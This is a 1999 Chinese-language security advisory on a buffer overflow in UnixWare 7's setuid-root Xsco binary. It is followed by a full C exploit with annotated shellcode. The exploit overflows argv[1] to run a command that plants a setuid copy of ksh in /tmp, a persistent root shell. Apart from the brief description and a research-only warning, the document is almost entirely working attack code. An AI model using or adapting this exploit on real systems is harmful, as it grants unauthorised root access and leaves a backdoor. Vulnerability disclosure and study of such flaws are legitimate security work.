发布日期：1999-11-26
更新日期：1999-11-26

受影响系统：

SCO UNIX
+UnixWare 7''s Xsco

描述：

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因为没有进行适当的边界检查，当使用一个超长的参数(argv[1])时产生了溢出问题。同时因为 Xsco是以超级用户的权限来运行，因此通过溢出程序可以获得更高的权限。

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Exploit (by K2):   
  
// UnixWare7 /usr/X/bin/Xsco local, K2/cheez   
//   
// Xsco produces some strange side effect''s with the execve; it seems   
// that commands can not be run interactively. Thanks to cheez for the   
// shellcode.   
  
#include   
#include   
#include   
#include   
  
  
char shell[] =   
/* 0 */ "\xeb\x5f" /* jmp springboard */   
/* syscall: */   
/* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 */   
/* 9 */ "\xc3" /* ret */   
/* start: */   
/* 10 */ "\x5e" /* popl %esi */   
/* 11 */ "\x31\xc0" /* xor %eax,%eax */   
/* 13 */ "\x89\x46\x9d" /* movl %eax,-0x63(%esi) */   
/* 16 */ "\x88\x46\xa2" /* movb %al,-0x5e(%esi) */   
/* seteuid: */   
/* 19 */ "\x31\xc0" /* xor %eax,%eax */   
/* 21 */ "\x50" /* pushl %eax */   
/* 22 */ "\xb0\x8d" /* movb $0x8d,%al */   
/* 24 */ "\xe8\xe5\xff\xff\xff" /* call syscall */   
/* 29 */ "\x83\xc4\x04" /* addl $0x4,%esp */   
/* setuid: */   
/* 32 */ "\x31\xc0" /* xor %eax,%eax */   
/* 34 */ "\x50" /* pushl %eax */   
/* 35 */ "\xb0\x17" /* movb $0x17,%al */   
/* 37 */ "\xe8\xd8\xff\xff\xff" /* call syscall */   
/* 42 */ "\x83\xc4\x04" /* addl $0x4,%esp */   
/* execve: */   
/* 45 */ "\x31\xc0" /* xor %eax,%eax */   
/* 47 */ "\x50" /* pushl %eax */   
/* 48 */ "\x56" /* pushl %esi */   
/* 49 */ "\x8b\x1e" /* movl (%esi),%ebx */   
/* 51 */ "\xf7\xdb" /* negl %ebx */   
/* 53 */ "\x89\xf7" /* movl %esi,%edi */   
/* 55 */ "\x83\xc7\x10" /* addl $0x10,%edi */   
/* 58 */ "\x57" /* pushl %edi */   
/* 59 */ "\x89\x3e" /* movl %edi,(%esi) */   
/* 61 */ "\x83\xc7\x08" /* addl $0x8,%edi */   
/* 64 */ "\x88\x47\xff" /* movb %al,-0x1(%edi) */   
/* 67 */ "\x89\x7e\x04" /* movl %edi,0x4(%esi) */   
/* 70 */ "\x83\xc7\x03" /* addl $0x3,%edi */   
/* 73 */ "\x88\x47\xff" /* movb %al,-0x1(%edi) */   
/* 76 */ "\x89\x7e\x08" /* movl %edi,0x8(%esi) */   
/* 79 */ "\x01\xdf" /* addl %ebx,%edi */   
/* 81 */ "\x88\x47\xff" /* movb %al,-0x1(%edi) */   
/* 84 */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */   
/* 87 */ "\xb0\x3b" /* movb $0x3b,%al */   
/* 89 */ "\xe8\xa4\xff\xff\xff" /* call syscall */   
/* 94 */ "\x83\xc4\x0c" /* addl $0xc,%esp */   
/* springboard: */   
/* 97 */ "\xe8\xa4\xff\xff\xff" /* call start */   
/* data: */   
/* 102 */ "\xff\xff\xff\xff" /* DATA */   
/* 106 */ "\xff\xff\xff\xff" /* DATA */   
/* 110 */ "\xff\xff\xff\xff" /* DATA */   
/* 114 */ "\xff\xff\xff\xff" /* DATA */   
/* 118 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA */   
/* 126 */ "\x2d\x63\xff"; /* DATA */   
  
#define SIZE 600   
#define NOPDEF 101   
#define DEFOFF -240   
#define LEN 102   
  
const char x86_nop=0x90;   
long nop=NOPDEF,esp;   
long offset=DEFOFF;   
char buffer[SIZE];   
  
long get_esp() { __asm__("movl %esp,%eax"); }   
  
int main (int argc, char *argv[]) {   
int i,len;   
char *cmd = "cp /bin/ksh /tmp;chmod 4555 /tmp/ksh";   
  
memset(buffer, x86_nop, SIZE);   
  
len = strlen(cmd); len++; len = -len;   
shell[LEN+0] = (len >> 0) & 0xff;   
shell[LEN+1] = (len >> 8) & 0xff;   
shell[LEN+2] = (len >> 16) & 0xff;   
shell[LEN+3] = (len >> 24) & 0xff;   
  
if (argc > 1) offset += strtol(argv[1], NULL, 0);   
if (argc > 2) nop += strtoul(argv[2], NULL, 0);   
esp = get_esp();   
  
buffer[0]='':'';   
memcpy(buffer+nop, shell, strlen(shell));   
memcpy(buffer+nop+strlen(shell), cmd,strlen(cmd));   
memcpy(buffer+nop+strlen(shell)+strlen(cmd),"\xff",1);   
for (i = nop+strlen(shell)+1+strlen(cmd); i < SIZE-4; i += 4) {   
*((int *) &buffer[i]) = esp+offset;   
}   
  
printf("jmp = [0x%x]\toffset = [%d]\tnop = [%d]\n",esp+offset,offset, nop);   
execl("/usr/X/bin/Xsco", "Xsco", buffer, NULL);   
  
printf("exec failed!\n");   
return 0;   
}   


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